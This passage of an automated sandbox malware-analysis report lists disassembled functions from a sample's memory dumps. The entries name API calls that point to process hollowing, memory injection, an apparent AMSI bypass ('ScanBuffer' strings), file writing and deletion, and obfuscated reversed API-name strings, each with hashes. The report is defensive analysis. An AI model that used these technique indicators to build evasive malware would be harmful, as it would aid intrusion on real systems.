                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1897104825-0
                                                                                                                                                                                                                                  • Opcode ID: cba5ad49bfbd91ffa23bb8e83ede1096e22cec74691204f1e89f6a3c1957f7a5
                                                                                                                                                                                                                                  • Instruction ID: 5abba5d6404e102388bebf5c354ff9b037c892c0f143a5f91a31489d9f68c948
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: cba5ad49bfbd91ffa23bb8e83ede1096e22cec74691204f1e89f6a3c1957f7a5
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8021C075A40708BFDB51EBA5DC92FDE77ACEB4DB00F500461B600EB1C0DB75AA048765
                                                                                                                                                                                                                                  Function 031EE4B8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111networkCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 031EE5F6
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CheckConnectionInternet
                                                                                                                                                                                                                                  • String ID: Initialize$OpenSession$ScanBuffer
                                                                                                                                                                                                                                  • API String ID: 3847983778-3852638603
                                                                                                                                                                                                                                  • Opcode ID: 3e931315c2f708c3362ed9b795ccae1074e9325311f301b331ab6d07629f5a61
                                                                                                                                                                                                                                  • Instruction ID: 6e1e3549399b50e76862a32974cc58c38c5f9ff47d0850a0a7285a251f69fcce
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3e931315c2f708c3362ed9b795ccae1074e9325311f301b331ab6d07629f5a61
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 68412A39B0070C9FDB11EBA9D881EDEB3F9EF8E600F204426E051AB240DF71AD018B65
                                                                                                                                                                                                                                  Function 031EDC8C Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031D4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 031D4F2E
                                                                                                                                                                                                                                  • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,031EDD5E), ref: 031EDCCB
                                                                                                                                                                                                                                  • NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 031EDD05
                                                                                                                                                                                                                                  • NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 031EDD32
                                                                                                                                                                                                                                  • NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 031EDD3B
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FilePath$AllocCloseCreateNameName_StringWrite
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3764614163-0
                                                                                                                                                                                                                                  • Opcode ID: 19727142a83abfe42693232d30e8aafe1e9565d835550b47bbd3571c034003f4
                                                                                                                                                                                                                                  • Instruction ID: a1246eafcff8bb444d83b44162e721ebee3c9a0c481e1da881541058c96ff659
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 19727142a83abfe42693232d30e8aafe1e9565d835550b47bbd3571c034003f4
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0A21EC75A40708BFEB10EAE5DD82FDEB7BCEB09B00F614461B610FB1D0DBB16A048665
                                                                                                                                                                                                                                  Function 031E8788 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62processCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031E823C,?,?,00000000,?,031E7A7E,ntdll,00000000,00000000,031E7AC3,?,?,00000000), ref: 031E820A
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNELBASE(?), ref: 031E821E
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031E82FC,?,?,00000000,00000000,?,031E8215,00000000,KernelBASE,00000000,00000000,031E823C), ref: 031E82C1
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031E82C7
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(?,?), ref: 031E82D9
                                                                                                                                                                                                                                  • CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 031E8814
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: HandleModule$AddressProc$CreateProcessUser
                                                                                                                                                                                                                                  • String ID: CreateProcessAsUserW$Kernel32
                                                                                                                                                                                                                                  • API String ID: 3130163322-2353454454
                                                                                                                                                                                                                                  • Opcode ID: 027cb106505871f88996a14373156f670a992b9eddd8f430f5c1eb397ddb7f3a
                                                                                                                                                                                                                                  • Instruction ID: 9da096f24d89a10f0ab88dfa6d7e76c79ed8145f18b6afc9fe93b0b107e0e1f7
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 027cb106505871f88996a14373156f670a992b9eddd8f430f5c1eb397ddb7f3a
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EB11D0B6640748BFDB40EFADDD85F9A37ECEB0DA10F514020BA08E7210CB35EA108B24
                                                                                                                                                                                                                                  Function 031E7A2A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031E823C,?,?,00000000,?,031E7A7E,ntdll,00000000,00000000,031E7AC3,?,?,00000000), ref: 031E820A
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNELBASE(?), ref: 031E821E
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031E82FC,?,?,00000000,00000000,?,031E8215,00000000,KernelBASE,00000000,00000000,031E823C), ref: 031E82C1
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031E82C7
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(?,?), ref: 031E82D9
                                                                                                                                                                                                                                  • NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 031E7A9F
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: HandleModule$AddressProc$AllocateMemoryVirtual
                                                                                                                                                                                                                                  • String ID: ntdll$yromeMlautriVetacollAwZ
                                                                                                                                                                                                                                  • API String ID: 4072585319-445027087
                                                                                                                                                                                                                                  • Opcode ID: de6f0b58055a27ba31f166554a4f13c67b3ad56900205ee31685825200b7d0cc
                                                                                                                                                                                                                                  • Instruction ID: 73367ace74445fb44a9cc0ea94531c8c39f063e4c8c33309b7e3df00d0c749dd
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: de6f0b58055a27ba31f166554a4f13c67b3ad56900205ee31685825200b7d0cc
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8B114479640708BFEB04EFA5EC45E9E77ADEB4D610F504460F900DB640DB31AB00CB64
                                                                                                                                                                                                                                  Function 031E7A2C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031E823C,?,?,00000000,?,031E7A7E,ntdll,00000000,00000000,031E7AC3,?,?,00000000), ref: 031E820A
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNELBASE(?), ref: 031E821E
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031E82FC,?,?,00000000,00000000,?,031E8215,00000000,KernelBASE,00000000,00000000,031E823C), ref: 031E82C1
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031E82C7
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(?,?), ref: 031E82D9
                                                                                                                                                                                                                                  • NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 031E7A9F
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: HandleModule$AddressProc$AllocateMemoryVirtual
                                                                                                                                                                                                                                  • String ID: ntdll$yromeMlautriVetacollAwZ
                                                                                                                                                                                                                                  • API String ID: 4072585319-445027087
                                                                                                                                                                                                                                  • Opcode ID: c668da6eecfa608bd9f881410c78297e10194011b80139276717a96d09be52a8
                                                                                                                                                                                                                                  • Instruction ID: e225311ce56fed247b0e7c326e55f223b59ffa1cf212b2cf7837024085897c95
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c668da6eecfa608bd9f881410c78297e10194011b80139276717a96d09be52a8
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9D114079640708BFEB04EFA5EC45E9EB7ADEB4D610F508460F900DB640DB32AB00CB64
                                                                                                                                                                                                                                  Function 031E8400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031E823C,?,?,00000000,?,031E7A7E,ntdll,00000000,00000000,031E7AC3,?,?,00000000), ref: 031E820A
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNELBASE(?), ref: 031E821E
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031E82FC,?,?,00000000,00000000,?,031E8215,00000000,KernelBASE,00000000,00000000,031E823C), ref: 031E82C1
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031E82C7
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(?,?), ref: 031E82D9
                                                                                                                                                                                                                                  • NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 031E8471
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: HandleModule$AddressProc$MemoryReadVirtual
                                                                                                                                                                                                                                  • String ID: ntdll$yromeMlautriVdaeRtN
                                                                                                                                                                                                                                  • API String ID: 2521977463-737317276
                                                                                                                                                                                                                                  • Opcode ID: b3351904cf689f6e795772a3f9f1bad6b7e7f224c768b75abea1a1650162d88a
                                                                                                                                                                                                                                  • Instruction ID: 7b380c1e75f5a57a5574b82ba8a27cf853b622e9435a6107a744c1e6a05ae7da
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b3351904cf689f6e795772a3f9f1bad6b7e7f224c768b75abea1a1650162d88a
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 35010879640709BFDB14EFA9EC45F9EB7EDEB4DA10F518460F904DB640DB35AA008B24
                                                                                                                                                                                                                                  Function 031E7D78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031E823C,?,?,00000000,?,031E7A7E,ntdll,00000000,00000000,031E7AC3,?,?,00000000), ref: 031E820A
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNELBASE(?), ref: 031E821E
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031E82FC,?,?,00000000,00000000,?,031E8215,00000000,KernelBASE,00000000,00000000,031E823C), ref: 031E82C1
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031E82C7
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(?,?), ref: 031E82D9
                                                                                                                                                                                                                                  • NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031E7DEC
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: HandleModule$AddressProc$MemoryVirtualWrite
                                                                                                                                                                                                                                  • String ID: Ntdll$yromeMlautriVetirW
                                                                                                                                                                                                                                  • API String ID: 2719805696-3542721025
                                                                                                                                                                                                                                  • Opcode ID: 22ce2908ea28a0f93ea2aea0646be3b7f079cc87cb867e6711e51ad8e4936991
                                                                                                                                                                                                                                  • Instruction ID: d762cad7f8e2874b0bff0e0e9857293983ce5077ba85eecf4fdb169cccf71c66
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 22ce2908ea28a0f93ea2aea0646be3b7f079cc87cb867e6711e51ad8e4936991
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 52015E79600708BFEB04EF99EC45E9EB7EDEB4DA10F508460B800DB690DB31AE10CB64
                                                                                                                                                                                                                                  Function 031E8670 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031E823C,?,?,00000000,?,031E7A7E,ntdll,00000000,00000000,031E7AC3,?,?,00000000), ref: 031E820A
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNELBASE(?), ref: 031E821E
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031E82FC,?,?,00000000,00000000,?,031E8215,00000000,KernelBASE,00000000,00000000,031E823C), ref: 031E82C1
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031E82C7
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(?,?), ref: 031E82D9
                                                                                                                                                                                                                                  • NtUnmapViewOfSection.NTDLL(?,?), ref: 031E86D5
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: HandleModule$AddressProc$SectionUnmapView
                                                                                                                                                                                                                                  • String ID: noitceSfOweiVpamnUtN$ntdll
                                                                                                                                                                                                                                  • API String ID: 3503870465-2520021413
                                                                                                                                                                                                                                  • Opcode ID: 7948905cc413f5a42d5b10a716153350e52b5f90bae09575e40d0f189652086d
                                                                                                                                                                                                                                  • Instruction ID: 6defd4eecf843108f0084b36642a89ca66fdd377ee8653c981b4a7dd7058042e
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7948905cc413f5a42d5b10a716153350e52b5f90bae09575e40d0f189652086d
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 69011278644708BFDB14EFA9EC45E5EB7ADEB4DA10F518460B8009B654DF75AA00C714
                                                                                                                                                                                                                                  Function 031EDBB0 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RtlI.N(?,?,00000000,031EDC7E), ref: 031EDC2C
                                                                                                                                                                                                                                  • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,031EDC7E), ref: 031EDC42
                                                                                                                                                                                                                                  • NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,031EDC7E), ref: 031EDC61
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Path$DeleteFileNameName_
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4284456518-0
                                                                                                                                                                                                                                  • Opcode ID: 593929726dde1e63216291cc2b77aa169d1a0bd0e1ed1eb4297334ef255f9b74
                                                                                                                                                                                                                                  • Instruction ID: 72234e242a1a02143b500d33d41443698febcfc71401b9c6a2fee82a127b0e9a
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 593929726dde1e63216291cc2b77aa169d1a0bd0e1ed1eb4297334ef255f9b74
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C1016279944B48AFEB05DBA0AD41FCDB7B8AB49740F514492D200EB081EFB6AB048725
                                                                                                                                                                                                                                  Function 031EDC04 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031D4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 031D4F2E
                                                                                                                                                                                                                                  • RtlI.N(?,?,00000000,031EDC7E), ref: 031EDC2C
                                                                                                                                                                                                                                  • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,031EDC7E), ref: 031EDC42
                                                                                                                                                                                                                                  • NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,031EDC7E), ref: 031EDC61
                                                                                                                                                                                                                                    • Part of subcall function 031D4C60: SysFreeString.OLEAUT32(031EF4A4), ref: 031D4C6E
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: PathString$AllocDeleteFileFreeNameName_
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1530111750-0
                                                                                                                                                                                                                                  • Opcode ID: d0aab9e98c815f3656852c9b0fa5eec9f37ba74c1e34f4d5a1ade26a945e1532
